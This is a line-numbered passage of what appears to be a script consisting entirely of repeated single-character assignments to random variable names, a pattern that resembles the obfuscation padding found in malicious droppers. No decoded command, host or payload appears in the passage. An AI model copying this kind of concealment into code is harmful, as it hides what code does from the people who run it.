550	hnzicfzg = "P";
551	hnzicfzg = "X";
552	hnzicfzg = "N";
553	hnzicfzg = "y";
554	hnzicfzg = "C";
555	hnzicfzg = "A";
556	hnzicfzg = "h";
557	hnzicfzg = "f";
558	hnzicfzg = "u";
559	hnzicfzg = "l";
560	hnzicfzg = "k";
561	hnzicfzg = "V";
562	hnzicfzg = "E";
563	hnzicfzg = "j";
564	hnzicfzg = "j";
565	hnzicfzg = "R";
566	hnzicfzg = "I";
567	hnzicfzg = "M";
568	hnzicfzg = "h";
569	hnzicfzg = "H";
570	hnzicfzg = "l";
571	hnzicfzg = "b";
572	hnzicfzg = "n";
573	hnzicfzg = "O";
574	nirqdr = "Z";
575	nirqdr = "C";
576	nirqdr = "b";
577	nirqdr = "r";
578	nirqdr = "v";
579	nirqdr = "q";
580	nirqdr = "e";
581	nirqdr = "P";
582	nirqdr = "e";
583	nirqdr = "k";
584	nirqdr = "N";
585	nirqdr = "k";
586	nirqdr = "U";
587	nirqdr = "a";
588	nirqdr = "e";
589	nirqdr = "m";
590	nirqdr = "T";
591	nirqdr = "S";
592	nirqdr = "b";
593	nirqdr = "k";
594	nirqdr = "f";
595	nirqdr = "a";
596	nirqdr = "O";
597	nirqdr = "k";
598	nirqdr = "u";
599	nirqdr = "Q";
600	nirqdr = "B";
601	nirqdr = "f";
602	nirqdr = "K";
603	nirqdr = "z";
604	nirqdr = "t";
605	nirqdr = "d";
606	nirqdr = "s";
607	nirqdr = "z";
608	nirqdr = "q";
609	nirqdr = "L";
610	nirqdr = "D";
611	nirqdr = "6";
612	xpyfsdln = "K";
613	xpyfsdln = "z";
614	xpyfsdln = "I";
615	xpyfsdln = "j";
616	xpyfsdln = "y";
617	xpyfsdln = "t";
618	xpyfsdln = "U";
619	xpyfsdln = "I";
620	xpyfsdln = "U";
621	xpyfsdln = "G";
622	xpyfsdln = "e";
623	xpyfsdln = "H";
624	xpyfsdln = "G";
625	xpyfsdln = "r";
626	xpyfsdln = "B";
627	xpyfsdln = "t";
628	xpyfsdln = "g";
629	xpyfsdln = "E";
630	xpyfsdln = "g";
631	xpyfsdln = "D";
632	xpyfsdln = "d";
633	xpyfsdln = "v";
634	xpyfsdln = "W";
635	xpyfsdln = "R";
636	xpyfsdln = "F";
637	xpyfsdln = "D";
638	xpyfsdln = "L";
639	xpyfsdln = "l";
640	gjtmpp = "G";
641	gjtmpp = "C";
642	gjtmpp = "M";
643	gjtmpp = "t";
644	gjtmpp = "I";
645	gjtmpp = "A";
646	gjtmpp = "h";
647	gjtmpp = "H";
648	gjtmpp = "C";
649	gjtmpp = "g";
650	gjtmpp = "E";
651	gjtmpp = "W";
652	gjtmpp = "y";
653	gjtmpp = "d";
654	gjtmpp = "s";
655	gjtmpp = "N";
656	gjtmpp = "S";
657	gjtmpp = "w";
658	gjtmpp = "p";
659	gjtmpp = "T";
660	gjtmpp = "M";
661	gjtmpp = "o";
662	gjtmpp = "K";
663	gjtmpp = "f";
664	gjtmpp = "m";
665	gjtmpp = "t";
666	gjtmpp = "G";
667	gjtmpp = "o";
668	gjtmpp = "e";
669	gjtmpp = "Z";
670	gjtmpp = "q";
671	gjtmpp = "n";
672	gjtmpp = "t";
673	gjtmpp = "j";
674	gjtmpp = "h";
675	gjtmpp = "u";
676	qxvuzyfb = "v";
677	qxvuzyfb = "T";
678	qxvuzyfb = "x";
679	qxvuzyfb = "V";
680	qxvuzyfb = "R";
681	qxvuzyfb = "i";
682	qxvuzyfb = "e";
683	qxvuzyfb = "n";
684	qxvuzyfb = "l";
685	qxvuzyfb = "R";
686	qxvuzyfb = "z";
687	qxvuzyfb = "S";
688	qxvuzyfb = "i";
689	qxvuzyfb = "b";
690	qxvuzyfb = "l";
691	qxvuzyfb = "V";
692	qxvuzyfb = "v";
693	qxvuzyfb = "f";
694	qxvuzyfb = "R";
695	qxvuzyfb = "v";
696	qxvuzyfb = "H";
697	qxvuzyfb = "U";
698	qxvuzyfb = "j";
699	qxvuzyfb = "W";
700	qxvuzyfb = "U";
701	qxvuzyfb = "O";
702	qxvuzyfb = "S";
703	qxvuzyfb = "A";
704	qxvuzyfb = "r";
705	qxvuzyfb = "C";
706	qjcrg = "A";
707	qjcrg = "E";
708	qjcrg = "C";
709	qjcrg = "z";
710	qjcrg = "h";
711	qjcrg = "O";
712	qjcrg = "H";
713	qjcrg = "P";
714	qjcrg = "L";
715	qjcrg = "z";
716	qjcrg = "I";
717	qjcrg = "f";
718	qjcrg = "I";
719	qjcrg = "T";
720	qjcrg = "A";
721	qjcrg = "S";
722	qjcrg = "Y";
723	uowxzyx = "j";
724	uowxzyx = "f";
725	uowxzyx = "o";
726	uowxzyx = "E";
727	uowxzyx = "R";
728	uowxzyx = "Z";
729	uowxzyx = "k";
730	uowxzyx = "V";
731	uowxzyx = "l";
732	uowxzyx = "S";
733	uowxzyx = "I";
734	uowxzyx = "F";
735	uowxzyx = "E";
736	uowxzyx = "z";
737	uowxzyx = "k";
738	uowxzyx = "v";
739	uowxzyx = "o";
740	uowxzyx = "L";
741	uowxzyx = "F";
742	uowxzyx = "k";
743	uowxzyx = "S";
744	uowxzyx = "n";
745	uowxzyx = "e";
746	uowxzyx = "r";
747	uowxzyx = "-";
748	pwslbaxj = "Z";
749	pwslbaxj = "g";
750	pwslbaxj = "b";
751	pwslbaxj = "N";
752	pwslbaxj = "B";
753	pwslbaxj = "s";
754	pwslbaxj = "d";
755	pwslbaxj = "K";
756	pwslbaxj = "z";
757	pwslbaxj = "T";
758	pwslbaxj = "E";
759	pwslbaxj = "B";
760	pwslbaxj = "b";
761	pwslbaxj = "S";
762	pwslbaxj = "b";
763	pwslbaxj = "d";
764	pwslbaxj = "n";
765	pwslbaxj = "K";
766	pwslbaxj = "f";
767	pwslbaxj = "M";
768	pwslbaxj = "y";
769	pwslbaxj = "a";
770	pwslbaxj = "R";
771	pwslbaxj = "r";
772	pwslbaxj = "V";
773	pwslbaxj = "f";
774	pwslbaxj = "h";
775	pwslbaxj = "G";
776	pwslbaxj = "m";
777	pwslbaxj = "h";
778	pwslbaxj = "4";
779	eqixyhds = "j";
780	eqixyhds = "Q";
781	eqixyhds = "m";
782	eqixyhds = "l";
783	eqixyhds = "r";
784	eqixyhds = "w";
785	eqixyhds = "l";
786	eqixyhds = "A";
787	eqixyhds = "T";
788	eqixyhds = "P";
789	eqixyhds = "W";
790	eqixyhds = "z";
791	eqixyhds = "J";
792	eqixyhds = "V";
793	eqixyhds = "O";
794	eqixyhds = "E";
795	eqixyhds = "z";
796	eqixyhds = "X";
797	eqixyhds = "b";
798	eqixyhds = "z";
799	eqixyhds = "Q";
800	eqixyhds = "w";
801	eqixyhds = "u";
802	eqixyhds = "v";
803	eqixyhds = "B";
804	eqixyhds = "p";
805	eqixyhds = "9";
806	xbxjlgs = "L";
807	xbxjlgs = "U";
808	xbxjlgs = "W";
809	xbxjlgs = "P";
810	xbxjlgs = "U";
811	xbxjlgs = "L";
812	xbxjlgs = "B";
813	xbxjlgs = "V";
814	xbxjlgs = "E";
815	xbxjlgs = "m";
816	xbxjlgs = "n";
817	xbxjlgs = "R";
818	xbxjlgs = "D";
819	xbxjlgs = "N";
820	xbxjlgs = "R";
821	xbxjlgs = "j";
822	xbxjlgs = "E";
823	xbxjlgs = "X";
824	xbxjlgs = "l";
825	xbxjlgs = "P";
826	xbxjlgs = "N";
827	xbxjlgs = "n";
828	xbxjlgs = "o";
829	xbxjlgs = "H";
830	xbxjlgs = "K";
831	xbxjlgs = "k";
832	xbxjlgs = "R";
833	fncabdb = "J";
834	fncabdb = "S";
835	fncabdb = "M";
836	fncabdb = "u";
837	fncabdb = "K";
838	fncabdb = "o";
839	fncabdb = "G";
840	fncabdb = "l";
841	fncabdb = "h";
842	fncabdb = "l";
843	fncabdb = "m";
844	fncabdb = "m";
845	fncabdb = "U";
846	fncabdb = "j";
847	fncabdb = "z";
848	fncabdb = "S";
849	fncabdb = "d";
850	kpcghetra = "o";
851	kpcghetra = "l";
852	kpcghetra = "X";
853	kpcghetra = "Z";
854	kpcghetra = "i";
855	kpcghetra = "a";
856	zpfmhhgm = "T";
857	zpfmhhgm = "G";
858	zpfmhhgm = "s";
859	zpfmhhgm = "V";
860	zpfmhhgm = "k";
861	zpfmhhgm = "n";
862	zpfmhhgm = "V";
863	zpfmhhgm = "z";
864	zpfmhhgm = "m";
865	zpfmhhgm = "p";
866	zpfmhhgm = "W";
867	zpfmhhgm = "k";
868	zpfmhhgm = "m";
869	zpfmhhgm = "w";
870	zpfmhhgm = "J";
871	zpfmhhgm = "H";
872	zpfmhhgm = "X";
873	zpfmhhgm = "q";
874	zpfmhhgm = "V";
875	zpfmhhgm = "R";
876	zpfmhhgm = "e";
877	zpfmhhgm = "I";
878	zpfmhhgm = "Q";
879	zpfmhhgm = "U";
880	zpfmhhgm = "p";
881	zpfmhhgm = "o";
882	zpfmhhgm = "/";
883	rblwnpdhv = "i";
884	rblwnpdhv = "C";
885	rblwnpdhv = "S";
886	rblwnpdhv = "R";
887	rblwnpdhv = "j";
888	rblwnpdhv = "P";
889	rblwnpdhv = "c";
890	rblwnpdhv = "x";
891	rblwnpdhv = "T";
892	rblwnpdhv = "r";
893	rblwnpdhv = "n";
894	rblwnpdhv = "Y";
895	rblwnpdhv = "S";
896	rblwnpdhv = "s";
897	rblwnpdhv = "x";
898	rblwnpdhv = "Y";
899	rblwnpdhv = "v";
900	rblwnpdhv = "k";
901	rblwnpdhv = "D";
902	rblwnpdhv = "B";
903	rblwnpdhv = "\"";
904	mmkxlrc = "x";
905	mmkxlrc = "l";
906	mmkxlrc = "U";
907	mmkxlrc = "D";
908	mmkxlrc = "z";
909	mmkxlrc = "O";
910	mmkxlrc = "a";
911	mmkxlrc = "i";
912	mmkxlrc = "g";
913	mmkxlrc = "Z";
914	mmkxlrc = "P";
915	mmkxlrc = "G";
916	mmkxlrc = "Z";
917	mmkxlrc = "k";
918	mmkxlrc = "f";
919	mmkxlrc = "q";
920	mmkxlrc = "x";
921	mmkxlrc = "A";
922	mmkxlrc = "W";
923	mmkxlrc = "V";
924	mmkxlrc = "y";
925	mmkxlrc = "a";
926	mmkxlrc = "R";
927	mmkxlrc = "f";
928	mmkxlrc = "j";
929	mmkxlrc = "u";
930	mmkxlrc = "e";
931	vmmcjmnc = "h";
932	vmmcjmnc = "Y";
933	vmmcjmnc = "p";
934	vmmcjmnc = "t";
935	vmmcjmnc = "H";
936	vmmcjmnc = "B";
937	vmmcjmnc = "J";
938	vmmcjmnc = "g";
939	vmmcjmnc = "F";
940	cvfleqvl = "p";
941	cvfleqvl = "y";
942	cvfleqvl = "A";
943	cvfleqvl = "i";
944	cvfleqvl = "w";
945	cvfleqvl = "d";
946	cvfleqvl = "m";
947	cvfleqvl = "g";
948	cvfleqvl = "h";
949	cvfleqvl = "h";
950	cvfleqvl = "N";
951	cvfleqvl = "m";
952	cvfleqvl = "h";
953	cvfleqvl = "u";
954	cvfleqvl = "M";
955	cvfleqvl = "R";
956	cvfleqvl = "Y";
957	cvfleqvl = "a";
958	cvfleqvl = "e";
959	cvfleqvl = "z";
960	cvfleqvl = "m";
961	cvfleqvl = "7";
962	jhcvanh = "c";
963	jhcvanh = "v";
964	jhcvanh = "D";
965	jhcvanh = "M";
966	jhcvanh = "u";
967	jhcvanh = "k";
968	jhcvanh = "H";
969	jhcvanh = "j";
970	jhcvanh = "z";
971	jhcvanh = "h";
972	jhcvanh = "R";
973	jhcvanh = "N";
974	jhcvanh = "z";
975	jhcvanh = "G";
976	jhcvanh = "r";
977	jhcvanh = "N";
978	jhcvanh = "3";
979	ubeyz = "Y";
980	ubeyz = "D";
981	ubeyz = "e";
982	ubeyz = "z";
983	ubeyz = "v";
984	ubeyz = "x";
985	ubeyz = "_";
986	zgezcx = "M";
987	zgezcx = "J";
988	zgezcx = "J";
989	zgezcx = "U";
990	zgezcx = "l";
991	zgezcx = "k";
992	zgezcx = "k";
993	zgezcx = "K";
994	zgezcx = "z";
995	zgezcx = "L";
996	zgezcx = "i";
997	zgezcx = "o";
998	zgezcx = "k";
999	zgezcx = "a";
1000	zgezcx = "M";
1001	zgezcx = "A";
1002	zgezcx = "e";
1003	zgezcx = "k";
1004	zgezcx = "Q";
1005	zgezcx = "H";
1006	zgezcx = "A";
1007	zgezcx = "z";
1008	zgezcx = "O";
1009	zgezcx = "x";
1010	zgezcx = "m";
1011	zgezcx = "S";
1012	zgezcx = "U";
1013	zgezcx = "O";
1014	zgezcx = "s";
1015	zgezcx = "%";
1016	zpvtefhtv = "p";
1017	zpvtefhtv = "G";
1018	zpvtefhtv = "u";
1019	zpvtefhtv = "Y";
1020	zpvtefhtv = "q";
1021	zpvtefhtv = "W";
1022	zpvtefhtv = "O";
1023	zpvtefhtv = "w";
1024	zpvtefhtv = "Q";
1025	zpvtefhtv = "C";
1026	zpvtefhtv = "n";
1027	zpvtefhtv = "F";
1028	zpvtefhtv = "B";
1029	zpvtefhtv = "m";
1030	zpvtefhtv = "I";
1031	zpvtefhtv = "b";
1032	zpvtefhtv = "k";
1033	zpvtefhtv = "w";
1034	zpvtefhtv = "J";
1035	zpvtefhtv = "Y";
1036	zpvtefhtv = "W";
1037	zpvtefhtv = "x";
1038	zpvtefhtv = "i";
1039	zpvtefhtv = "V";
1040	zpvtefhtv = "r";
1041	zpvtefhtv = "R";
1042	zpvtefhtv = "d";
1043	zpvtefhtv = "q";
1044	zpvtefhtv = "d";
1045	zpvtefhtv = "Q";
1046	zpvtefhtv = "f";
1047	zpvtefhtv = "B";
1048	zpvtefhtv = "H";
1049	zpvtefhtv = "o";
1050	zpvtefhtv = "r";
1051	kdpivv = "d";
1052	kdpivv = "x";
1053	kdpivv = "J";
1054	kdpivv = "B";
1055	kdpivv = "i";
1056	kdpivv = "u";
1057	kdpivv = "J";
1058	kdpivv = "v";
1059	kdpivv = "P";
1060	kdpivv = "s";
1061	kdpivv = "f";
1062	kdpivv = "J";
1063	kdpivv = "a";
1064	kdpivv = "q";
1065	kdpivv = "d";
1066	kdpivv = "q";
1067	kdpivv = "&";
1068	assiqzxl = "A";
1069	assiqzxl = "k";
1070	assiqzxl = "a";
1071	assiqzxl = "h";
1072	assiqzxl = "I";
1073	assiqzxl = "V";
1074	assiqzxl = "o";
1075	assiqzxl = "P";
1076	assiqzxl = "x";
1077	assiqzxl = "M";
1078	assiqzxl = "q";
1079	assiqzxl = "Q";
1080	assiqzxl = "w";
1081	assiqzxl = "c";
1082	assiqzxl = "s";
1083	assiqzxl = "A";
1084	assiqzxl = "o";
1085	assiqzxl = "V";
1086	assiqzxl = "m";
1087	assiqzxl = "j";
1088	assiqzxl = "Y";
1089	assiqzxl = "C";
1090	assiqzxl = "G";
1091	assiqzxl = "O";
1092	assiqzxl = "d";
1093	assiqzxl = "J";
1094	assiqzxl = "i";
1095	assiqzxl = "A";
1096	assiqzxl = "e";
1097	assiqzxl = "i";
1098	assiqzxl = "L";
1099	assiqzxl = "n";
1100	assiqzxl = "j";
1101	assiqzxl = "k";
1102	assiqzxl = "P";
1103	assiqzxl = "c";
1104	assiqzxl = "M";
1105	assiqzxl = "N";
1106	ewhffi = "O";
1107	ewhffi = "y";
1108	ewhffi = "M";
1109	ewhffi = "V";
1110	ewhffi = "e";
1111	ewhffi = "a";
1112	ewhffi = "R";
1113	ewhffi = "x";
1114	ewhffi = "k";
1115	ewhffi = "t";
1116	ewhffi = "j";
1117	ewhffi = "B";
1118	ewhffi = "L";
1119	ewhffi = "J";
1120	ewhffi = "D";
1121	ewhffi = "E";
1122	ewhffi = "Q";
1123	ewhffi = "m";
1124	ewhffi = "F";
1125	ewhffi = "W";
1126	ewhffi = "f";
1127	ewhffi = "F";
1128	ewhffi = "H";
1129	ewhffi = "l";
1130	ewhffi = "U";
1131	ewhffi = "l";
1132	ewhffi = "P";
1133	ewhffi = "M";
1134	ewhffi = "M";
1135	ewhffi = "K";
1136	ewhffi = "B";
1137	ewhffi = "M";
1138	ewhffi = "l";
1139	ewhffi = "E";
1140	ewhffi = "d";
1141	ewhffi = "b";
1142	ewhffi = "H";
1143	ewhffi = "Q";
1144	fjnsdy = "q";
1145	fjnsdy = "Q";
1146	fjnsdy = "q";
1147	zwkwxqj = "b";
1148	zwkwxqj = "J";
1149	zwkwxqj = "z";
1150	zwkwxqj = "U";
1151	zwkwxqj = "Z";
1152	zwkwxqj = "u";
1153	zwkwxqj = "y";
1154	zwkwxqj = "G";
1155	zwkwxqj = "d";
1156	zwkwxqj = "R";
1157	zwkwxqj = "p";
1158	zwkwxqj = "l";
1159	zwkwxqj = "k";
1160	zwkwxqj = "x";
1161	zwkwxqj = "L";
1162	zwkwxqj = "z";
1163	zwkwxqj = ".";
1164	gyjdzrtp = "z";
1165	gyjdzrtp = "V";
1166	gyjdzrtp = "t";
1167	gyjdzrtp = "Y";
1168	gyjdzrtp = "a";
1169	gyjdzrtp = "J";
1170	gyjdzrtp = "t";
1171	gyjdzrtp = "U";
1172	gyjdzrtp = "n";
1173	gyjdzrtp = "p";
1174	gyjdzrtp = "G";
1175	gyjdzrtp = "v";
1176	gyjdzrtp = "z";
1177	gyjdzrtp = "W";
1178	gyjdzrtp = "X";
1179	gyjdzrtp = "F";
1180	gyjdzrtp = "k";
1181	gyjdzrtp = "R";
1182	gyjdzrtp = "w";
1183	gyjdzrtp = "W";
1184	gyjdzrtp = "t";
1185	gyjdzrtp = "T";
1186	gyjdzrtp = "c";
1187	gyjdzrtp = "M";
1188	gyjdzrtp = "u";
1189	gyjdzrtp = "A";
1190	gyjdzrtp = "J";
1191	gyjdzrtp = "P";
1192	gyjdzrtp = "w";
1193	gyjdzrtp = "J";
1194	gyjdzrtp = "e";
1195	gyjdzrtp = "w";
1196	gyjdzrtp = "N";
1197	gyjdzrtp = "J";
1198	gyjdzrtp = "I";
1199	gyjdzrtp = "j";
1200	gyjdzrtp = "i";
1201	fhexhl = "z";
1202	fhexhl = "T";
1203	fhexhl = "z";
1204	fhexhl = "D";
1205	fhexhl = "f";
1206	fhexhl = "M";
1207	fhexhl = "N";
1208	fhexhl = "U";
1209	fhexhl = "H";
1210	fhexhl = "h";
1211	fhexhl = "R";
1212	fhexhl = "c";
1213	fhexhl = "w";
1214	fhexhl = "M";
1215	fhexhl = "p";
1216	fhexhl = "s";
1217	fhexhl = "d";
1218	fhexhl = "s";
1219	fhexhl = "U";
1220	cfdgksmp = "C";
1221	cfdgksmp = "j";
1222	cfdgksmp = "H";
1223	cfdgksmp = "d";
1224	cfdgksmp = "C";
1225	cfdgksmp = "Q";
1226	cfdgksmp = "y";
1227	cfdgksmp = "p";
1228	cfdgksmp = "c";
1229	cfdgksmp = "s";
1230	cfdgksmp = "s";
1231	cfdgksmp = "U";
1232	cfdgksmp = "Q";
1233	cfdgksmp = "t";
1234	cfdgksmp = "t";
1235	cfdgksmp = "M";
1236	cfdgksmp = "Z";
1237	cfdgksmp = "x";
1238	cfdgksmp = "g";
1239	cfdgksmp = "v";
1240	cfdgksmp = "C";
1241	cfdgksmp = "S";
1242	cfdgksmp = "a";
1243	cfdgksmp = "P";
1244	cfdgksmp = "j";
1245	cfdgksmp = "u";
1246	cfdgksmp = "U";
1247	cfdgksmp = "T";
1248	cfdgksmp = "x";
1249	cfdgksmp = "u";
1250	cfdgksmp = "H";
1251	cfdgksmp = "B";
1252	cfdgksmp = "T";
1253	cfdgksmp = "k";
1254	cfdgksmp = "P";
1255	cfdgksmp = "l";
1256	cfdgksmp = "O";
1257	cfdgksmp = "N";
1258	cfdgksmp = "d";
1259	cfdgksmp = "v";
1260	cfdgksmp = "F";
1261	cfdgksmp = "n";
1262	cfdgksmp = "e";
1263	cfdgksmp = "8";
1264	itztgtdn = "w";
1265	itztgtdn = "L";
1266	itztgtdn = "A";
1267	itztgtdn = "i";
1268	itztgtdn = "h";
1269	itztgtdn = "D";
1270	itztgtdn = "s";
1271	itztgtdn = "N";
1272	itztgtdn = "P";
1273	itztgtdn = "Z";
1274	itztgtdn = "V";
1275	itztgtdn = "Z";
1276	itztgtdn = "p";
1277	itztgtdn = "Z";
1278	itztgtdn = "r";
1279	itztgtdn = "A";
1280	itztgtdn = "B";
1281	itztgtdn = "T";
1282	itztgtdn = "F";
1283	itztgtdn = "O";
1284	itztgtdn = "p";
1285	itztgtdn = "K";
1286	itztgtdn = "r";
1287	itztgtdn = "K";
1288	itztgtdn = "i";
1289	itztgtdn = "s";
1290	itztgtdn = "y";
1291	itztgtdn = "a";
1292	itztgtdn = "r";
1293	itztgtdn = "E";
1294	oudnbkn = "K";
1295	oudnbkn = "O";
1296	oudnbkn = "L";
1297	oudnbkn = "U";
1298	oudnbkn = "M";
1299	oudnbkn = "Y";
1300	oudnbkn = "e";
1301	oudnbkn = "h";
1302	oudnbkn = "c";
1303	oudnbkn = "P";
1304	oudnbkn = "I";
1305	oudnbkn = "S";
1306	oudnbkn = "f";
1307	oudnbkn = "Z";
1308	oudnbkn = "K";
1309	oudnbkn = "a";
1310	oudnbkn = "D";
1311	oudnbkn = "x";
1312	oudnbkn = "M";
1313	oudnbkn = "J";
1314	oudnbkn = "Y";
1315	oudnbkn = "t";
1316	oudnbkn = "l";
1317	oudnbkn = "E";
1318	oudnbkn = "S";
1319	oudnbkn = "L";
1320	oudnbkn = "h";
1321	oudnbkn = "g";
1322	oudnbkn = "Q";
1323	oudnbkn = "L";
1324	oudnbkn = "x";
1325	oudnbkn = "k";
1326	dyzcku = "r";
1327	dyzcku = "e";
1328	dyzcku = "N";
1329	dyzcku = "d";
1330	dyzcku = "b";
1331	dyzcku = "W";
1332	dyzcku = "u";
1333	dyzcku = "X";
1334	dyzcku = "C";
1335	dyzcku = "X";
1336	dyzcku = "U";
1337	dyzcku = "U";
1338	dyzcku = "y";
1339	dyzcku = "k";
1340	dyzcku = "o";
1341	dyzcku = "B";
1342	dyzcku = "A";
1343	dyzcku = "y";
1344	dyzcku = "n";
1345	dyzcku = "U";
1346	dyzcku = "q";
1347	dyzcku = "a";
1348	dyzcku = "z";
1349	dyzcku = "q";
1350	dyzcku = "G";
1351	dyzcku = "e";
1352	dyzcku = "g";
1353	dyzcku = "p";
1354	dyzcku = "A";
1355	dyzcku = "V";
1356	dyzcku = "w";
1357	dyzcku = "N";
1358	dyzcku = "a";
1359	dyzcku = "V";
1360	dyzcku = "p";
1361	dyzcku = "h";
1362	dyzcku = "K";
1363	dyzcku = "U";
1364	dyzcku = "J";
1365	dyzcku = "t";
1366	dyzcku = "L";
1367	dyzcku = "A";
1368	dyzcku = "r";
1369	dyzcku = "X";
1370	dyzcku = "\\";
1371	dxxjnwh = "S";
1372	dxxjnwh = "p";
1373	dxxjnwh = "k";
1374	dxxjnwh = "G";
1375	dxxjnwh = "n";
1376	dxxjnwh = "M";
1377	dxxjnwh = "Y";
1378	dxxjnwh = "L";
1379	dxxjnwh = "E";
1380	dxxjnwh = "y";
1381	dxxjnwh = "g";
1382	dxxjnwh = "j";
1383	dxxjnwh = "H";
1384	sljao = "Q";
1385	sljao = "a";
1386	sljao = "r";
1387	sljao = "H";
1388	sljao = "e";
1389	sljao = "L";
1390	sljao = "M";
1391	sljao = "b";
1392	sljao = "I";
1393	nqjewtj = "j";
1394	nqjewtj = "B";
1395	nqjewtj = "l";
1396	nqjewtj = "K";
1397	nqjewtj = "D";
1398	nqjewtj = "u";
1399	nqjewtj = "w";
1400	nqjewtj = "Y";
1401	nqjewtj = "P";
1402	nqjewtj = "F";
1403	nqjewtj = "M";
1404	nqjewtj = "y";
1405	nqjewtj = "B";
1406	nqjewtj = "j";
1407	uzcbtzgpm = "Y";
1408	uzcbtzgpm = "b";
1409	uzcbtzgpm = "f";
1410	uzcbtzgpm = "n";
1411	uzcbtzgpm = "h";
1412	uzcbtzgpm = "n";
1413	uzcbtzgpm = "w";
1414	uzcbtzgpm = "M";
1415	uzcbtzgpm = "J";
1416	uzcbtzgpm = "a";
1417	uzcbtzgpm = "S";
1418	uzcbtzgpm = "C";
1419	uzcbtzgpm = "Y";
1420	uzcbtzgpm = "W";
1421	uzcbtzgpm = "w";
1422	uzcbtzgpm = "w";
1423	uzcbtzgpm = "s";
1424	uzcbtzgpm = "r";
1425	uzcbtzgpm = "I";
1426	uzcbtzgpm = "e";
1427	uzcbtzgpm = "D";
1428	uzcbtzgpm = "P";
1429	uzcbtzgpm = "V";
1430	uzcbtzgpm = "Y";
1431	uzcbtzgpm = "f";
1432	uzcbtzgpm = "T";
1433	uzcbtzgpm = "N";
1434	uzcbtzgpm = "B";
1435	uzcbtzgpm = "I";
1436	uzcbtzgpm = "V";
1437	uzcbtzgpm = "G";
1438	uzcbtzgpm = "G";
1439	uzcbtzgpm = "Y";
1440	uzcbtzgpm = "d";
1441	uzcbtzgpm = "j";
1442	uzcbtzgpm = "K";
1443	uzcbtzgpm = "R";
1444	uzcbtzgpm = "n";
1445	uzcbtzgpm = "2";
1446	xamcfg = "B";
1447	xamcfg = "S";
1448	xamcfg = "H";
1449	xamcfg = "k";
1450	xamcfg = "g";
1451	xamcfg = "T";
1452	xamcfg = "C";
1453	xamcfg = "F";
1454	xamcfg = "i";
1455	xamcfg = "F";
1456	xamcfg = "h";
1457	xamcfg = "V";
1458	xamcfg = "y";
1459	xamcfg = "R";
1460	xamcfg = "a";
1461	xamcfg = "C";
1462	xamcfg = "d";
1463	xamcfg = "q";
1464	xamcfg = "p";
1465	xamcfg = "F";
1466	xamcfg = "N";
1467	xamcfg = "C";
1468	xamcfg = "o";
1469	xamcfg = "b";
1470	xamcfg = "I";
1471	xamcfg = "N";
1472	xamcfg = "T";
1473	xamcfg = "X";
1474	xamcfg = "E";
1475	xamcfg = "f";
1476	xamcfg = "d";
1477	xamcfg = "h";
1478	xamcfg = "t";
1479	xamcfg = "S";
1480	xamcfg = "y";
1481	xamcfg = "K";
1482	xamcfg = "B";
1483	xamcfg = "r";
1484	xamcfg = "Y";
1485	xamcfg = "I";
1486	xamcfg = "l";
1487	xamcfg = "M";
1488	xamcfg = "y";
1489	xamcfg = "b";
1490	wfahnwf = "v";
1491	wfahnwf = "x";
1492	wfahnwf = "w";
1493	wfahnwf = "f";
1494	wfahnwf = "R";
1495	wfahnwf = "V";
1496	wfahnwf = "i";
1497	wfahnwf = "U";
1498	wfahnwf = "b";
1499	wfahnwf = "O";
1500	wfahnwf = "x";
1501	wfahnwf = "i";
1502	wfahnwf = "L";
1503	wfahnwf = "y";
1504	wfahnwf = "M";
1505	wfahnwf = "H";
1506	wfahnwf = "F";
1507	wfahnwf = "t";
1508	wfahnwf = "D";
1509	wfahnwf = "g";
1510	wfahnwf = "N";
1511	wfahnwf = " ";
1512	hxgcngoco = "J";
1513	hxgcngoco = "L";
1514	hxgcngoco = "U";
1515	hxgcngoco = "F";
1516	hxgcngoco = "l";
1517	hxgcngoco = "d";
1518	hxgcngoco = "q";
1519	hxgcngoco = "R";
1520	hxgcngoco = "M";
1521	hxgcngoco = "N";
1522	hxgcngoco = "F";
1523	hxgcngoco = "n";
1524	hxgcngoco = "G";
1525	hxgcngoco = "Y";
1526	hxgcngoco = "z";
1527	hxgcngoco = "x";
1528	hxgcngoco = "f";
1529	hxgcngoco = "o";
1530	hxgcngoco = "s";
1531	xfcvmrtze = "B";
1532	xfcvmrtze = "V";
1533	xfcvmrtze = "V";
1534	xfcvmrtze = "F";
1535	xfcvmrtze = "Q";
1536	xfcvmrtze = "m";
1537	xfcvmrtze = "F";
1538	xfcvmrtze = "s";
1539	xfcvmrtze = "a";
1540	xfcvmrtze = "M";
1541	xfcvmrtze = "X";
1542	xfcvmrtze = "e";
1543	xfcvmrtze = "D";
1544	xfcvmrtze = "q";
1545	xfcvmrtze = "a";
1546	xfcvmrtze = "R";
1547	xfcvmrtze = "f";
1548	xfcvmrtze = "d";
1549	xfcvmrtze = "v";
1550	xfcvmrtze = "F";
1551	xfcvmrtze = "f";
1552	xfcvmrtze = "K";
1553	xfcvmrtze = "d";
1554	xfcvmrtze = "F";
1555	xfcvmrtze = "p";
1556	xfcvmrtze = "f";
1557	xfcvmrtze = "p";
1558	xfcvmrtze = "p";
1559	xfcvmrtze = "o";
1560	xfcvmrtze = "f";
1561	xfcvmrtze = "J";
1562	xfcvmrtze = "d";
1563	xfcvmrtze = "A";
1564	xfcvmrtze = "K";
1565	wdvtl = "a";
1566	wdvtl = "c";
1567	tuaaevm = "Q";
1568	tuaaevm = "L";
1569	tuaaevm = "V";
1570	tuaaevm = "r";
1571	tuaaevm = "o";
1572	tuaaevm = "M";
1573	tuaaevm = "h";
1574	tuaaevm = "z";
1575	tuaaevm = "u";
1576	tuaaevm = "R";
1577	tuaaevm = "H";
1578	tuaaevm = "l";
1579	tuaaevm = "b";
1580	tuaaevm = "v";
1581	tuaaevm = "W";
1582	tuaaevm = "l";
1583	tuaaevm = "Y";
1584	tuaaevm = "b";
1585	tuaaevm = "a";
1586	tuaaevm = "f";
1587	tuaaevm = "M";
1588	tuaaevm = "f";
1589	tuaaevm = "K";
1590	tuaaevm = "u";
1591	tuaaevm = "s";
1592	tuaaevm = "v";
1593	qkivi = "S";
1594	qkivi = "t";
1595	qkivi = "g";
1596	qkivi = "i";
1597	qkivi = "k";
1598	qkivi = "y";
1599	qkivi = "i";
1600	qkivi = "i";
1601	qkivi = "e";
1602	qkivi = "z";
1603	qkivi = "s";
1604	qkivi = "R";
1605	qkivi = "h";
1606	qkivi = "C";
1607	qkivi = "n";
1608	qkivi = "m";
1609	qkivi = "F";
1610	qkivi = "r";
1611	qkivi = "k";
1612	qkivi = "e";
1613	qkivi = "j";
1614	qkivi = "d";
1615	qkivi = "w";
1616	zxiih = "u";
1617	zxiih = "f";
1618	zxiih = "C";
1619	zxiih = "T";
1620	zxiih = "G";
